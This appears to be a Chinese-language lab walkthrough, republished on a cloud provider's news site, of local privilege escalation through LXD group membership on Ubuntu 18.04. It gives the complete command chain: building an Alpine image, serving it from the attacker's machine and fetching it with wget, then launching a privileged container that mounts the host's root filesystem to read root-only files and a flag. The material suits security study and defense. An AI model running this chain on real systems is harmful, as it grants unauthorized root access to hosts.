您好,登錄后才能下訂單哦!
使用LXD怎么實現(xiàn)權(quán)限提升功能,針對這個問題,這篇文章詳細介紹了相對應(yīng)的分析和解答,希望可以幫助更多想解決這個問題的小伙伴找到更簡單易行的方法。
Linux Container(LXC)通常被認為是一種輕量級虛擬化技術(shù),它介于Chroot和完整開發(fā)的虛擬機之間,LXC可以創(chuàng)建一個跟正常Linux操作系統(tǒng)十分接近的環(huán)境,但是不需要使用到單獨的內(nèi)核資源。
Linux Daemon(LXD)是一個輕量級容器管理程序,而LXD是基于LXC容器技術(shù)實現(xiàn)的,而這種技術(shù)之前Docker也使用過。LXD使用了穩(wěn)定的LXC API來完成所有的后臺容器管理工作,并且增加了REST API支持,更進一步地提升了用戶體驗度。
所謂的容器技術(shù),也就是在主機操作系統(tǒng)中創(chuàng)建一個隔離的環(huán)境,以允許某個進程或應(yīng)用程序在一個不影響主操作系統(tǒng)以及其他進程的環(huán)境下運行。
目標主機系統(tǒng):Ubuntu v18.04
攻擊者設(shè)備:Kali Linux或其他設(shè)備
接下來,我們開始操作!
大家可以看到,我們已經(jīng)在主機設(shè)備中創(chuàng)建好了一個名叫“raj”的本地用戶賬號:
執(zhí)行下列命令完成LXD的安裝:
apt install lxd
當然了,你還需要為LXD安裝一些依賴組件:
apt install zfsutils-linux
接下來,配置“raj”用戶賬號,將“raj”添加進LXD組中,執(zhí)行下列命令:
usermod --append --groups lxd raj
驗證用戶“raj”是否已是LXD組的成員:
現(xiàn)在我們需要配置LXD,我們可以使用命令“l(fā)xd init”來開啟LXD初始化進程。在初始化的過程中,程序?qū)脩暨x擇某些配置選項,其中的大多數(shù)選項都可以直接使用默認配置。不過在后端存儲選項中,我們需要選擇“dir”,而不要選擇“zfs”。
配置好LXD之后,你需要使用LXC創(chuàng)建一個容器。這里我們?yōu)椤癠buntu:18.04”創(chuàng)建了一個容器,并命名為了“intimate-seasnail”。配置完成之后,我們可以使用lxc list命令來查看所有可用的容器:
lxc launch ubuntu:18.04lxc list
使用lxc exec命令即可與容器建立連接,該命令需要提供目標容器名稱:
lxc exec intimate-seasnail -- /bin/bash
進入容器之后,命令行終端的Shell界面如下:
利用LXD來實現(xiàn)提權(quán)需要我們能夠訪問目標設(shè)備的本地賬號,因此我們選擇使用SSH來連接并訪問目標設(shè)備的本地賬號。 這里需要注意的是,我們的目標用戶賬號必須是LXD組的組成員。
ssh raj@192.168.1.105
為了將我們的用戶賬號提升為root權(quán)限,我們還需要為LXD創(chuàng)建一個鏡像文件,操作步驟如下:
首先,攻擊者需要在自己設(shè)備上進行如下操作:
1、通過git將構(gòu)建好的alpine鏡像克隆至本地;
2、執(zhí)行“build -alpine”命令完成最新版本的Alpine鏡像構(gòu)建,此操作必須由root用戶完成;
3、將tar文件發(fā)送至目標設(shè)備;
接下來,我們需要在目標設(shè)備上進行如下操作:
1、下載Alpine鏡像;
2、為LXD導(dǎo)入鏡像;
3、在新的容器環(huán)境中初始化鏡像;
4、在/root目錄中加載容器;
那么接下來,我們先從GitHub庫下載構(gòu)建好的Alpine:
git clone https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder
./build-alpine
運行完上述命令之后,會在當前目錄下創(chuàng)建一個tar.gz文件,之后我們需要將其發(fā)送至目標系統(tǒng):
python -m SimpleHTTPServer
另一方面,我們還需要將alpine鏡像發(fā)送至目標系統(tǒng)的/tmp目錄中:
cd /tmpwget http://192.168.1.107:8000/apline-v3.10-x86_64-20191008_1227.tar.gz
鏡像構(gòu)建完成之后,我們就可以將其以鏡像的形式添加進LXD了:
lxc image import ./apline-v3.10-x86_64-20191008_1227.tar.gz --alias myimage
使用“l(fā)ist”命令即可檢查可用的容器列表:
lxc image list
lxc init myimage ignite -c security.privileged=truelxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=truelxc start ignitelxc exec ignite /bin/shId
進入容器之后,定位到/mnt/root即可查看目標主機設(shè)備的所有資源。運行了Bash腳本之后,我們將得到一個特殊的Shell,也就是容器的Shell。這個容器中包含了目標主機的全部資源,我們可以嘗試枚舉或搜索flag文件:
mnt/root/rootlsflag.txtcat flag.txt
關(guān)于使用LXD怎么實現(xiàn)權(quán)限提升功能問題的解答就分享到這里了,希望以上內(nèi)容可以對大家有一定的幫助,如果你還有很多疑惑沒有解開,可以關(guān)注億速云行業(yè)資訊頻道了解更多相關(guān)知識。
免責聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。